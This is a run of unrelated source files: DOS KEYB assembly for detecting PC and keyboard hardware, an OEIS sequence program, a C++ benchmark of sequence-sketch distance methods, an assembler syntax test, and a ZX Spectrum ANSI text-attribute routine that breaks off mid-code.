PALACE ROMLAP EQU 0F9H ; ID FOR PC LAP (P-14) ROM_RU_386 EQU 0F8H ; ID FOR ROUNDUP-386 ROM ENDS RTN_EXT_BIOS_DATA_SEG EQU 0C1H ; INT15H SUB FUNCTION M005 -- JP9009 ROMEXT SEGMENT AT 00000H ; ADDRESS SHOULD NOT BE FIXED AT 09FC0H ; This just a dummy segment value, as ORG 0003BH ; INT 15h - function C1 call will load KEYBID1 DB ? ; ES: dynamically depending on where ; the ROMEXT segment is located. ; (9FC0 was only for old 640K systems) ; M005 -- begin changes ;JP9009 ROMEXT ENDS ; ( ES:003B ) ORG 00117H ; ;JP9009 EXT_BIOS_DATA_KBD_ID DW ? ; KEYBOARD ID(xxABH) ;JP9009 ROMEXT ENDS ; ;JP9009 EXTRN SCAN_CODE_SET:BYTE ; 01 for non SBCS keyboard(default) ; 81h or 82h for DBCS keyboard ; This value is used at hot replug. ; M005 -- end changes ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Program Code ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; FIND_SYS_TYPE PROC NEAR MOV AX,ROM ; Set segmant to look at ROM MOV DS,AX ; using the data segment ASSUME DS:ROM MOV AX,SYSROM_DATE ; Get BIOS year date PUSH AX ; save it on stack MOV AL,ROMID ; Get hardware ID PUSH AX ; save it PUSH CS ; Set data seg back to code POP DS ASSUME DS:CODE MOV AH,092H ; SET INVALID CALL FOR INT16 83 KEYS INT 16H ; CALL BIOS CMP AH,80H ; IS EXTENDED INTERFACE THERE? 101/102 JA CHECK_PC_NET ; NO, SKIP FLAG OR SD.SYSTEM_FLAG,EXT_16 ; Default is extended INT 16 support MOV AH,0A2H ; SET INVALID CALL FOR INT16 101 KEYS INT 16H ; CALL BIOS CMP AH,80H ; IS EXTENDED INTERFACE THERE? 122/ JA CHECK_PC_NET ; NO, SKIP FLAG OR SD.SYSTEM_FLAG,EXT_122 ; Also extended 122 keyboard support CHECK_PC_NET: MOV AH,30H ; GET DOS VERSION NUMBER INT 21H ; MAJOR # IN AL, MINOR # IN AH CMP AX,0A03H ; SENSITIVE TO 3.10 OR > JB CHECK_SYSTEM ; EARLIER VERSION OF DOS NOTHING ; WAS ESTABLISHED FOR THIS SITUATION PUSH ES ; Save ES just in case MOV AX,3509H ; GET INT VECTOR 9 CONTENTS INT 21H ; ES:BX WILL = CURRENT INT9 VECTOR ; SEE IF WE ARE THE 1ST ONES LOADED MOV CX,ES ; INTO THE INT 9. WITH DOS 3.1 WE CAN POP ES ; HANDSHAKE WITH THE PC NETWORK BUT CMP CX,0F000H ; BUT NO ONE ELSE CAN BE HOOK IN FIRST JE CHECK_SYSTEM ; INT VECTOR 9 POINTS TO ROM, OK MOV AX,0B800H ; ASK IF PC NETWORK IS INSTALLED INT 2FH or al,al ; not installed if al=0 JE CHECK_SYSTEM ; SOMEBODY HAS LINKED THE INT VECTOR 9 ; & I'M GOING TO DROP RIGHT IN AS USUAL OR SD.SYSTEM_FLAG,PC_NET ; INDICATE PC NET IS RUNNING CHECK_SYSTEM: POP AX ; get code back POP BX ; get date back off of stack ; Is the hardware a PCjr ; Is the hardware a PC1 or XT ? CMP AL,ROMXT JAE ITS_AN_XT ; IF (FE) OR (FF) THEN ITS AN XT CMP AL,ROMXT_ENHAN ; IF (FB) IT IS ALSO AN XT JNE TEST_PC_AT ; IF not then check for next type ITS_AN_XT: OR SD.SYSTEM_FLAG,PC_XT ; system type ; Check the ROM level in the system CMP BX,PC1DATE_ID ; Is it the ORIGINAL PC1 version? JNE SHORT FIND_SYS_END ; Done if not OR SD.SYSTEM_FLAG,PC_81 ; Else set the Original PC1 flag JMP SHORT FIND_SYS_END TEST_PC_AT: ; Is the hardware an AT ? CMP AL,ROMAT ; (FC) JNE TEST_P12 ; IF not then check for next type OR SD.SYSTEM_FLAG,PC_AT ; system type with 8042 V2 interface JMP SHORT FIND_SYS_END TEST_P12: CMP AL,ROMLAP ; IS this a Convertible (F9) (P12)? JNE TEST_PAL ; IF not then check for next type OR SD.SYSTEM_FLAG,PC_LAP ; system type JMP SHORT FIND_SYS_END TEST_PAL: CMP AL,ROMPAL ; IS this a Model 30 (FA) (PALACE)? JNE TEST_RU_386 ; IF not then check for next type OR SD.SYSTEM_FLAG,PC_PAL ; system type JMP SHORT FIND_SYS_END TEST_RU_386: CMP AL,ROM_RU_386 ; IS this a PS/2 with a 386 (F8)? JNE TEST_SYS_NEW ; IF not then check for next type OR SD.SYSTEM_FLAG,PC_386 ; System type with 8042 V3 CALL SP_8042 ; Determine if 8042 is Patriot/Sebring JMP SHORT FIND_SYS_END TEST_SYS_NEW: ; ASSUME 8042 TYPE IF UNKNOWN OR SD.SYSTEM_FLAG,PC_386 ; Default system type with 8042 V3 CALL SP_8042 ; Determine if 8042 is Patriot/Sebring FIND_SYS_END: RET FIND_SYS_TYPE ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; Module: FIND_KEYB_TYPE ; ; Description: ; Determine the type of keyboard we are running on. ; KEYB_TYPE (in SHARED_DATA) is set to indicate the keyboard type. ; This routine is only called the first time KEYB is being installed. ; It is called after the new Interrupt 9 handler is installed. ; ; Input Registers: ; DS - points to our data segment ; ; Output Registers: ; NONE ; ; Logic: ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; HW_TYPE DW 0 SECURE_FL DB 0 ;RESERVED ADDRESS 013h BITS 1 & 2 PASS_MODE equ 00000001B SERVER_MODE equ 00000010B SECRET_ADD equ 13h PORT_70 equ 70h ; CMOS ADDRESS PORT PORT_71 equ 71h ; CMOS DATA PORT ID_1 EQU 0ABh ; Keyboard ID_1 for FERRARI TID_2 EQU 041h ;;AB41 ; Keyboard ID_2 for FERRARI_G ID_2U EQU 083h ;;AB83 ; Keyboard ID_2 for FERRARI_G TID_2A EQU 054h ;;AB54 ; Keyboard ID_2 for FERRARI_P ID_2AU EQU 084h ;;AB84 ; Keyboard ID_2 for FERRARI_P ID_2JG EQU 090h ;;AB90 ; Keyboard ID_2 for JPN G ID_2JP EQU 091h ;;AB91 ; Keyboard ID_2 for JPN P ID_2JA EQU 092h ;;AB92 ; Keyboard ID_2 for JPN A P_KB_ID DB 08 extrn pswitches:byte ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Program Code ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; FIND_KEYB_TYPE PROC NEAR PUSH ES PUSH DS MOV AX,DATA MOV ES,AX ; ES points to BIOS data ASSUME ES:DATA MOV AX,ROM ; Set segmant to look at ROM MOV DS,AX ; using the data segment ASSUME DS:ROM MOV AL,ROMID ; Get hardware ID PUSH CS ; Set data segment to CODE POP DS ASSUME DS:CODE test pswitches,2 ; /e switch true? jz no_force_enh or es:KB_FLAG_3,KBX ; force enhanced kbd support on no_force_enh: MOV HW_TYPE,G_KB ; Default keyboard is G_KB CMP AL,ROMLAP ; IS this a P12? (CONVERTABLE) JNE TEST_PC_XT_2 ; IF not then check for next type MOV HW_TYPE,P12_KB ; IF yes then set flag JMP FIND_KEYB_END ; Done TEST_PC_XT_2: ; Is the hardware a PC1 or XT ? CMP AL,ROMXT JAE ITS_AN_XT_2 ; IF FE OR FF THEN ITS AN XT CMP AL,ROMXT_ENHAN ; IF FB IT IS ALSO AN XT JNE TEST_PS_30_2 ; IF not then check for next type ITS_AN_XT_2: TEST ES:KB_FLAG_3,KBX ; IS THE ENHANCED KEYBOARD INSTALLED? JZ ITS_AN_XT_3 ;M005 ;JP9009 JMP SHORT FIND_KEYB_END ; Yes, exit jmp FIND_KEYB_END ; M005 ;JP9009 ; Yes, exit ITS_AN_XT_3: MOV HW_TYPE,XT_KB ; NO, normal XT keyboard ;M005 ;JP9009 JMP SHORT FIND_KEYB_END jmp FIND_KEYB_END ; M005 ;JP9009 TEST_PS_30_2: CMP AL,ROMPAL ; IS this a PS/2 MODEL 30 or 25 JNE TEST_PC_AT_2 ; IF not then check for next type MOV AH,0C1H ; Make extended bios data area call to INT 15H ; get the segment address for accessing JNC ITS_AN_PS2_30 ; the PALACE (only) keyboard byte area. JMP SHORT FIND_KEYB_END ; JC Assume Keyboard type G if error, ; Otherwise EXTENDED BIOS DATA RETURNED ; in the ES: and ES:003Bh is keyboard ITS_AN_PS2_30: ; ID byte reserved for PALACE. ; Set segment to look at extended ROM ASSUME ES:ROMEXT ; using the ES: segment ; SEG ES: value returned by INT15h - C1 MOV AL,KEYBID1 ; Get keyboard ID ASSUME ES:NOTHING ; Don't use ES: for anything else AND AL,0FH ; Remove high nibble CMP AL,P_KB_ID ; IF keyboard is a FERRARI P THEN JNE ITS_AN_PS2_30G OR HW_TYPE,P_KB ; Set the HW_TYPE flag to P keyboard ITS_AN_PS2_30G: JMP SHORT FIND_KEYB_END ; Done ; (Insert any more special cases here.) ; At this point, all special case or older keyboard/system ; types have been determined and HW_TYPE correctly set. ; (PC, XT, XT Enhansed, CONVERTABLE, Model 30/25) ; ; Assume now that the system has an 8042 type keyboard ; interface and can be sent a READ ID command to determine ; the type of keyboard installed. The old AT keyboard is ; handled as a special case of no security bits set and no ; response to a READ ID command. If security bits are set ; and no KBX flag is set as a result of the READ ID, then ; the interface is assumed to be locked and the default of ; G-keyboard is taken as the keyboard ID can not be read. TEST_PC_AT_2: ASSUME ES:DATA ; READ ID COMMAND TO TEST FOR A KBX MOV ES:KB_FLAG_3,RD_ID ; INDICATE THAT A READ ID IS BEING DONE ; and clear KBX flag if set MOV AL,0F2H ; SEND THE READ ID COMMAND CALL SND_DATA_AT ; Wait 40ms for READ ID to complete MOV CX,DLY_15ms ; Load count for 15ms (15,000/15.086) WT_ID: ; Fixed time wait loop on AT's TEST ES:KB_FLAG_3,KBX ; TEST FOR KBX SET by BIOS interrupt 9h JNZ DONE_AT_2 ; Exit wait loop if/when flag gets set IN AL,PORT_B ; Read current system status port AND AL,REFRESH_BIT ; Mask all but refresh bit CMP AL,AH ; Did it change? (or first pass thru) JZ WT_ID ; No, wait for change, else continue MOV AH,AL ; Save new refresh bit state LOOP WT_ID ; WAIT OTHERWISE ; BE SURE READ ID FLAGS GOT RESET AND ES:KB_FLAG_3,NOT RD_ID+LC_AB ; Clear READ ID state flags ; As no KBX flag set CALL KEYB_SECURE ; SEE IF THE KEYBOARD SECURITY IS ; ACTIVATED AT THIS POINT JNC ASSUME_AT ; SECURITY UNAVAILABLE OR AN AT KB ; M005 -- begin changed section MOV AL,0EEH ; We're in server password mode. We ;JP9011 CALL SND_DATA_AT ; should avoid keyboard from responding;JP9011 ; to us with keyboard ID, when the ;JP9011 ; security is released. Otherwise, we ;JP9011 ; may be receiving keyboard ID bytes ;JP9011 ; as normal keyboard scan codes. ;JP9011 ; If we receive 'AB','54' as SCAN CODE,;JP9011 ; we'll enter "SYSREQ key pressed" ;JP9011 ; state. ;JP9011 OR SD.SYSTEM_FLAG, SECURITY_ACTIVE ; THIS BIT BECOMES OFF WHEN ;JP9010 ; SERVER PASSWORD MODE IS EXITED. ;JP9010 OR ES:KB_FLAG_3, KBX ; Behave as an extended keyboard. ;JP9011 MOV SECURE_FL,1 ; SECURITY IS ACTIVE JMP SHORT ASK_ROM_BIOS ; TRY TO ASK ROM BIOS WHAT KEYBOARD ;JP9010 ; IS ATTACHED ;JP9010 ;JP9010 JMP SHORT FIND_KEYB_END ; ASSUME IT IS A G_KB WITH ; NUM LOCK OFF ; M005 -- end changed section ASSUME_AT: MOV HW_TYPE,AT_KB ; NO, AT KBD if no KBX and no security JMP SHORT FIND_KEYB_END ; EXIT DONE_AT_2: ; LAST PORT 60h VALUE IS ID_2 BYTE IN AL,PORT_A ; Re-read last byte from keyboard input ; M005 -- begin changed section CALL SET_KBD_ID_TO_ROM_EXT ; This is DBCS requirement. There are ;JP9009 ; five kinds of DBCS keyboards. We ;JP9009 ; need to distinguish them. ;JP9009 CMP AL, ID_2JG ; Was it old DBCS keyboards? ;JP9009 JAE CHECK_WHAT_DBCS_KBD ; Check what it is. ;JP9009 DONE_AT_FOR_G_P_TYPE: ;JP9011 ; M005 -- end changed section CMP AL,TID_2A ; Was it the P-layout keyboard JE DONE_AT_3 ; Go set P type keyboard CMP AL,ID_2AU ; Was it the P-layout untranslated JNE DONE_AT_4 ; Continue if not DONE_AT_3: OR HW_TYPE,P_KB ; Set HW_TYPE for P-layout keyboard DONE_AT_4: ; EXIT FIND_KEYB_END: ; EXIT POINT MOV AX,HW_TYPE ; Get default or determined type ; M005 -- begin changed section ; ;JP9009 ; New DBCS keyboards' ID is the same as that of SBCS 101/102 key ;JP9009 ; keyboard. So, we can distinguish them only by the language parameter ;JP9009 ; string. ;JP9009 ; ;JP9009 MOV CX, WORD PTR [BP].LANGUAGE_PARM; Get language specified. ;JP9009 CMP CX, 'PJ' ; Japanese keyboard? ;JP9009 JE DBCS_KEYBOARD ;JP9009 CMP CX, 'OK' ; Korea keyboard? ;JP9009 JE DBCS_KEYBOARD ;JP9009 CMP CX, 'RP' ; PRC keyboard? ;JP9009 JE DBCS_KEYBOARD ;JP9009 CMP CX, 'AT' ; Taiwan keyboard? ;JP9009 JNE SBCS_KEYBOARD ;JP9009 DBCS_KEYBOARD: ;JP9009 OR AX, DBCS_KB ; Set it as DBCS keyboard ;JP9009 SBCS_KEYBOARD: ;JP9009 ; M005 -- end changed section MOV SD.KEYB_TYPE,AX ; Place into shared data area POP DS POP ES RET ; M005 -- begin changed section ASK_ROM_BIOS: ;JP9010 PUSH ES ; ;JP9011 MOV AH, RTN_EXT_BIOS_DATA_SEG; GET EXTENDED BIOS DATA AREA SEGMENT ;JP9010 INT 15H ; ;JP9010 ASSUME ES:ROMEXT ; ;JP9009 MOV AL, BYTE PTR ES:EXT_BIOS_DATA_KBD_ID + 1; ;JP9010 ASSUME ES:DATA ; ;JP9009 POP ES ; AL = HIGH BYTE OF KEYBOARD ID ;JP9011 JC FIND_KEYB_END ; 0 IF NOT SUPPORTED ;JP9011 CMP AL, ID_2JG ; ;JP9010 JB DONE_AT_FOR_G_P_TYPE ; WE GOT KEYB_TYPE FROM ROM BIOS, SO ;JP9011 ; RETURN TO NORMAL PROCEDURE ;JP9011 CHECK_WHAT_DBCS_KBD: ;JP9009 MOV HW_TYPE, (DBCS_OLD_G_KB or DBCS_OLD_P_KB) ;JP9009 CMP AL, ID_2JA ; Was it old DBCS A keyboard? ;JP9009 JNE SET_SCAN_TABLE ; Go if old DBCS G/P keyboard. ;JP9009 MOV HW_TYPE, DBCS_OLD_A_KB ;JP9009 SET_SCAN_TABLE: ;JP9009 MOV AL,82h ; SELECT SCAN CODE SET 82 ;JP9009 TEST SD.SYSTEM_FLAG,PS_8042 ; If in passthru mode without 8042 ;JP9009 JZ CHANGE_SCAN_TABLE ; then set scan code set 81 ;JP9009 MOV AL,81h ; SELECT SCAN CODE SET 81 ;JP9009 CHANGE_SCAN_TABLE: ;JP9009 MOV SCAN_CODE_SET, AL ; 81h or 82h for old DBCS keyboard ;JP9009 ; This is also used at hot replug. ;JP9009 CMP SECURE_FL, 1 ; IF SECURITY ACTIVE, RETURN ;JP9010 JE FIND_KEYB_END ; ;JP9010 MOV AL,SCAN_CODE_CMD ; SELECT SCAN CODE SET COMMAND ;JP9009 CALL SND_DATA_AT ; SEND IT DIRECTLY TO THE KEYBOARD ;JP9009 MOV AL, SCAN_CODE_SET ; SCAN CODE SET ;JP9009 CALL SND_DATA_AT ; SEND IT TO THE KEYBOARD ;JP9009 JMP SHORT DONE_AT_4 ;JP9009 ; Module: SET_KBD_ID_TO_ROM_EXT ; Description: ; This routine sets keyboard ID to the corresponding extended BIOS ; data area, even if ROM BIOS does not support 'Return Keyboard ID ; (INT16H, AH=0AH)'. DBCS DOS supports it by some software if ROM ; BIOS does not support it. ; Input: ; AL = High byte of keyboard ID ; Assumes low byte is 'ABH'. ; Output: ; none ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;JP9009 SET_KBD_ID_TO_ROM_EXT PROC NEAR ; ;JP9009 PUSH ES ; ;JP9009 PUSH AX ; ;JP9009 MOV AH, RTN_EXT_BIOS_DATA_SEG; ;JP9009 INT 15H ; Get extended BIOS data area ;JP9009 JC NOT_SET_KBD_ID ; ;JP9009 ASSUME ES:ROMEXT ; EXTENDED BIOS DATA AREA ;JP9009 MOV AH, AL ; AH = KBD ID 2ND BYTE ;JP9009 MOV AL, 0ABH ; ASSUME KBD ID = xxABH ;JP9009 MOV ES:EXT_BIOS_DATA_KBD_ID, AX; Set KBD ID to ext. BIOS data ;JP9009 ASSUME ES:DATA ; NORMAL BIOS DATA AREA ;JP9009 NOT_SET_KBD_ID: ;JP9009 POP AX ; ;JP9009 POP ES ; ;JP9009 RET ; ;JP9009 SET_KBD_ID_TO_ROM_EXT ENDP ; ;JP9009 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;JP9009 ; M005 -- end changed section FIND_KEYB_TYPE ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; Module: SND_DATA_AT ; ; Description: ; THIS ROUTINE HANDLES TRANSMISSION OF PC/AT COMMAND AND DATA BYTES ; TO THE KEYBOARD AND RECEIPT OF ACKNOWLEDGEMENTS. IT ALSO ; HANDLES ANY RETRIES IF REQUIRED ; ; ; Input Registers: ; DS - points to our data segment ; ES - points to the BIOS data segment ; ; Output Registers: ; ; Logic: ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; SND_DATA_AT PROC NEAR PUSH AX ; SAVE REGISTERS PUSH BX ; * PUSH CX MOV BH,AL ; SAVE TRANSMITTED BYTE FOR RETRIES MOV BL,3 ; LOAD RETRY COUNT ;---- WAIT FOR 8042 INTERFACE NOT BUSY SD0: ; RETRY entry CALL CHK_IBF ; Wait for command to be accepted CLI ; DISABLE INTERRUPTS AND ES:KB_FLAG_2,NOT (KB_FE+KB_FA+KB_ERR) ; CLEAR ACK, RESEND AND ; ERROR FLAGS MOV AL,BH ; REESTABLISH BYTE TO TRANSMIT OUT PORT_A,AL ; SEND BYTE JMP $+2 ; Delay for 8042 to accept command STI ; ENABLE INTERRUPTS ;----- WAIT FOR COMMAND TO BE ACCEPTED BY KEYBOARD MOV CX,DLY_15ms ; Timout for 15 ms (15,000/15.086) SD1: ; Fixed timout wait loop on AT's TEST ES:KB_FLAG_2,KB_FE+KB_FA; SEE IF EITHER BIT SET JNZ SD3 ; IF SET, SOMETHING RECEIVED GO PROCESS IN AL,PORT_B ; Read current system status port AND AL,REFRESH_BIT ; Mask all but refresh bit CMP AL,AH ; Did it change? (or first pass thru) JE SD1 ; No, wait for change, else continue MOV AH,AL ; Save new refresh bit state LOOP SD1 ; OTHERWISE WAIT SD2: DEC BL ; DECREMENT RETRY COUNT JNZ SD0 ; RETRY TRANSMISSION OR ES:KB_FLAG_2,KB_ERR ; TURN ON TRANSMIT ERROR FLAG JMP SHORT SD4 ; RETRIES EXHAUSTED FORGET TRANSMISSION SD3: TEST ES:KB_FLAG_2,KB_FA ; SEE IF THIS IS AN ACKNOWLEDGE JZ SD2 ; IF NOT, GO RESEND SD4: POP CX ; RESTORE REGISTERS POP BX POP AX ; * RET ; RETURN, GOOD TRANSMISSION SND_DATA_AT ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; KEYBOARD SECURITY LOGIC ; ; CHECK THE CMOS RAM BYTE AT CMOS LOCATION HEX 013H ; CHECK TO SEE IF EITHER BITS 1 (PASSWORD) OR 2 (SERVER MODE) ARE SET ON ; IF EITHER BIT IS SET ON THE SYSTEM IS A MOD 50 on up ; RETurn CARRY FLAG ON indicating keyboard interface may be disabled. ; OTHERWISE NO SECURITY ENABLED OR THE SYSTEM IS AN OLD AT. ; RETurn CARRY FLAG OFF indicating keyboard interface not disabled. ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; KEYB_SECURE PROC NEAR CLI ; DISABLE INTERRUPTS WHILE DOING ; ADDRESS WRITE AND CMOS READ MOV AL,SECRET_ADD ; WRITE ADDRESS OF CMOS BYTE WITH OUT PORT_70,AL ; BITS FOR THE PASSWORD AND SERVER ; MODE STATE TO PORT 70H JMP $+2 ; I/O Delay required IN AL,PORT_71 ; READ CMOS DATA BYTE WITH THE ; PASSWORD AND SERVER SECURITY STI ; ENABLE THE INTERRUPTS TEST AL,PASS_MODE+SERVER_MODE; CHECK & SEE IF THE BITS ARE ON ; TEST clears CARRY flag JZ SECURE_RET ; EXIT NO CARRY if neither set STC ; SET THE SECURITY FLAG ON ; System is NOT an AT but the SECURE_RET: ; keyboard interface maybe locked RET KEYB_SECURE ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; 8042 TYPE DETERMINATION ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; SP_8042 PROC NEAR ; Determine if 8042 is Patriot/Sebring PUSH AX ; Save work register PUSH CX ; Save count register ; M005 -- begin changed section IN AL, STATUS_PORT ; In server password mode, no answer ;JP9010 TEST AL, KYBD_INH ; is returned from the following logic.;JP9010 JZ GET_FROM_ROM_BIOS ; So, ask ROM BIOS. ;JP9010 ; M005 -- end changed section MOV CX,24 ; Limit AUX inputs if they are playing ; with the mouse while loading KEYB SP__2: MOV AL,DIS_KBD ; Disable command to clear 8042 output OUT STATUS_PORT,AL ; Sending allows receive to complete STI ; Allow any pending AUX interrupt CALL CHK_IBF ; Wait for command to be accepted CLI ; Block interrupts until password set IN AL,STATUS_PORT ; Read 8042 status byte TEST AL,MOUSE_OBF ; Check for AUX data pending at output LOOPNZ SP__2 ; Loop till AUX inputs are cleared IN AL,PORT_A ; Read to clear int's on SX ;PTR660243 MOV AL,20h ; Read 8042 controller's command byte OUT STATUS_PORT,AL ; Send command to 8042 interface CALL CHK_IBF ; Wait for command to be accepted MOV CX,DLY_15ms ; Timeout 15 milliseconds (15000/15.086 SP__5: IN AL,PORT_B ; Read current refresh output bit AND AL,REFRESH_BIT ; Mask all but refresh bit CMP AL,AH ; Did it change? (or first pass thru) JZ SHORT SP__5 ; No?, wait for change, else continue MOV AH,AL ; Save new refresh bit state IN AL,STATUS_PORT ; Read status (command) port TEST AL,OUT_BUF_FULL ; Check for output buffer empty LOOPZ SP__5 ; Loop until OBF is on or timeout IN AL,PORT_A ; Get the command byte TEST AL,01000000b ; Check for translate bit on JNZ SP_EXIT ; Done if it is on to begin with SP_EXIT_0: ; M005 ;JP9010 OR SD.SYSTEM_FLAG,PS_8042 ; Set PATRIOT/SEBRING type 8042 ; with Translate scan codes set OFF SP_EXIT: MOV AL,ENA_KBD ; Enable command for keyboard OUT STATUS_PORT,AL ; Send to 8042 CALL CHK_IBF ; Wait for command to be accepted IN AL,PORT_A ; Read to clear int's on SX ;PTR660243 POP CX ; Recover user register POP AX ; Recover user register STI ; Enable inteerutps again RET ; Return to caller ; M005 -- begin added section RTN_SYSTEM_CONFIG EQU 0C0H ; INT15H SUB FUNCTION ;JP9010 FEATURE_INFO_2 EQU 006H ; FEATURE INFO2 OFFSET IN CONFIG DATA ;JP9010 NON_8042_CONTROLLER EQU 004H ; THIS BIT ON IF NON-8042 CONTROLLER ;JP9010 GET_FROM_ROM_BIOS: ; WE CAN ONLY ASK ROM BIOS WHICH TYPE ;JP9010 PUSH ES ; OF KEYBOARD CONTROLLER IS ATTACHED. ;JP9010 PUSH BX ; ;JP9010 MOV AH, RTN_SYSTEM_CONFIG ; ;JP9010 INT 15H ; ;JP9010 JC RTN_SYS_CONFIG_NOT_SUPPORTED; IN CASE NOT SUPPORTED, IT MUST ;JP9010 ; BE 8042. BELIEVE IT. ;JP9010 TEST BYTE PTR ES:[BX+FEATURE_INFO_2], NON_8042_CONTROLLER ;JP9010 POP BX ; ;JP9010 POP ES ; ;JP9010 JNZ SP_EXIT_0 ; IF NON-8042, SET THE FLAG ;JP9010 JMP SHORT SP_EXIT ; ;JP9010 RTN_SYS_CONFIG_NOT_SUPPORTED: ; ;JP9010 POP BX ; ;JP9010 POP ES ; ;JP9010 JMP SHORT SP_EXIT ; ;JP9010 ; M005 -- end added section SP_8042 ENDP CODE ENDS END 
; A075731: Fibonacci numbers F(k) for k squarefree (A005117). ; Submitted by Christian Krause ; 1,1,2,5,8,13,55,89,233,377,610,1597,4181,10946,17711,28657,121393,514229,832040,1346269,3524578,5702887,9227465,24157817,39088169,63245986,165580141,267914296,433494437,1836311903,2971215073 seq $0,5117 ; Squarefree numbers: numbers that are not divisible by a square greater than 1. seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
#include "Sketch.h" #include <iostream> #include <sys/time.h> #include <zlib.h> #include "kseq.h" #include <vector> #include <math.h> #include <random> using namespace std; KSEQ_INIT(gzFile, gzread) double get_sec(){ struct timeval tv; gettimeofday(&tv, NULL); return (double)tv.tv_sec + (double)tv.tv_usec / 1000000; } void getCWS(double *r, double *c, double *b, int sketchSize, int dimension){ // cerr << "successful malloc r, c, b in getCWS" << endl; const int DISTRIBUTION_SEED = 1; default_random_engine generator(DISTRIBUTION_SEED); gamma_distribution<double> gamma(2.0,1.0); uniform_real_distribution<double> uniform(0.0,1.0); for (int i = 0; i < sketchSize * dimension; ++i){ r[i] = gamma(generator); c[i] = log(gamma(generator)); b[i] = uniform(generator) * r[i]; } } int main(int argc, char* argv[]) { gzFile fp1; kseq_t *ks1; fp1 = gzopen(argv[1],"r"); if(NULL == fp1){ fprintf(stderr,"Fail to open file: %s\n", argv[1]); return 0; } vector<string> vseq; vector<int> vlength; int count = 0; Sketch::WMHParameters parameter; parameter.kmerSize = 21; parameter.sketchSize = 50; parameter.windowSize = 20; parameter.r = (double *)malloc(parameter.sketchSize * pow(parameter.kmerSize, 4) * sizeof(double)); parameter.c = (double *)malloc(parameter.sketchSize * pow(parameter.kmerSize, 4) * sizeof(double)); parameter.b = (double *)malloc(parameter.sketchSize * pow(parameter.kmerSize, 4) * sizeof(double)); getCWS(parameter.r, parameter.c, parameter.b, parameter.sketchSize, pow(parameter.kmerSize, 4)); vector<Sketch::WMinHash *> vwmh; vector<Sketch::MinHash *> vmh; vector<Sketch::OrderMinHash > vomh; vector<Sketch::HyperLogLog> vhlog; ks1 = kseq_init(fp1); while(1){ int length = kseq_read(ks1); if(length < 0){ break; } Sketch::WMinHash * wmh1 = new Sketch::WMinHash(parameter); Sketch::MinHash * mh1 = new Sketch::MinHash(); Sketch::OrderMinHash omh1; static const size_t BITS = 20; //24 Sketch::HyperLogLog t(BITS); cerr << "end the wmh construction" << endl; wmh1->update(ks1->seq.s); mh1->update(ks1->seq.s); omh1.buildSketch(ks1->seq.s); t.update(ks1->seq.s); cerr << "end the wmh update" << endl; vwmh.push_back(wmh1); vmh.push_back(mh1); vomh.push_back(omh1); vhlog.push_back(t); cerr << "the index of the wmh is: " << count << endl; count++; } // for(int i = 0; i < count; i++){ // //Sketch::WMinHash wmh = new Sketch::WMinHash(); // } cout << "begin to compute the WMH distance: " << endl; printf("=====================================\t WMinHash \t MinHash \t OMinHash \t HyperLog\n"); for(int i = 0; i < count; i++){ for(int j = i+1; j < count; j++){ double distance0 = vwmh[i]->distance(vwmh[j]); double distance1 = 1.0 - vmh[i]->jaccard(vmh[j]); double distance2 = vomh[i].distance(vomh[j]); double distance3 = vhlog[i].distance(vhlog[j]); printf("the distance of seq[%d] and seq[%d] is:\t %lf \t %lf \t %lf \t %lf\n", i, j, distance0, distance1, distance2, distance3); } } cout << "end to compute the WMH distance;" << endl; return 0; }
TEST0=#1111 TEST1 = $1111 TEST2= $11111111 TEST3 =$11111111 LD I ,TEST0 LD I, TEST1 LD I, TEST2 LD I,TEST3 ADD 3* 6 + 4, 5 ADD V1,TEST1 | TEST2 + TEST0 ADD V1,TEST1|TEST2+TEST0 QQ : ADD V1 , TEST1 |TEST2 +TEST0 JJ : KK :
; ; Spectrum C Library ; ; ANSI Video handling for ZX Spectrum ; ; Text Attributes ; m - Set Graphic Rendition ; ; The most difficult thing to port: ; Be careful here... ; ; Stefano Bodrato - Apr. 2000 ; ; ; $Id: f_ansi_attr.asm,v 1.6 2016-04-04 18:31:23 dom Exp $ ; SECTION code_clib PUBLIC ansi_attr EXTERN INVRS .ansi_attr and a jr nz,noreset ld a,7 jr setbk .noreset cp 1 jr nz,nobold ld a,(23693) or @01000000 jr setbk .nobold cp 2 jr z,dim cp 8 jr nz,nodim .dim ld a,(23693) and @10111111 jr setbk .nodim cp 4 jr nz,nounderline ld a,32 ld (INVRS+2),a ; underline 1 ret .nounderline cp 24 jr nz,noCunderline ld a, 24 ld (INVRS+2),a ; underline 0 ret .noCunderline cp 5 jr nz,noblink ld a,(23693) or @10000000 jr setbk .noblink cp 25 jr nz,nocblink ld a,(23693) and @01111111 jr setbk .nocblink cp 7 jr nz,noreverse ld a,47 ld (INVRS),a ; inverse 1 ret .noreverse cp 27 jr nz,noCreverse xor a ld (INVRS),a ; inverse 0 ret .noCreverse cp 8 jr nz,noinvis ld a,(23693) ld (oldattr),a and @00111000 ld e,a rra rra rra or e .setbk ;ld (23624),a ld (23693),a ret .oldattr defb 0 .noinvis cp 28 jr nz,nocinvis ld a,(oldattr) jr setbk .nocinvis cp 30 jp m,nofore cp 37+1 jp p,nofore sub 30 ;'' Palette Handling '' rla bit 3,a jr z,ZFR set 0,a and 7 .ZFR ;'''''''''''''''''''''' ld e,a ld a,(23693) and @11111000 or e jr setbk .nofore cp 40 jp m,noback cp 47+1 jp p,noback sub 40 ;'' Palette Handling '' rla bit 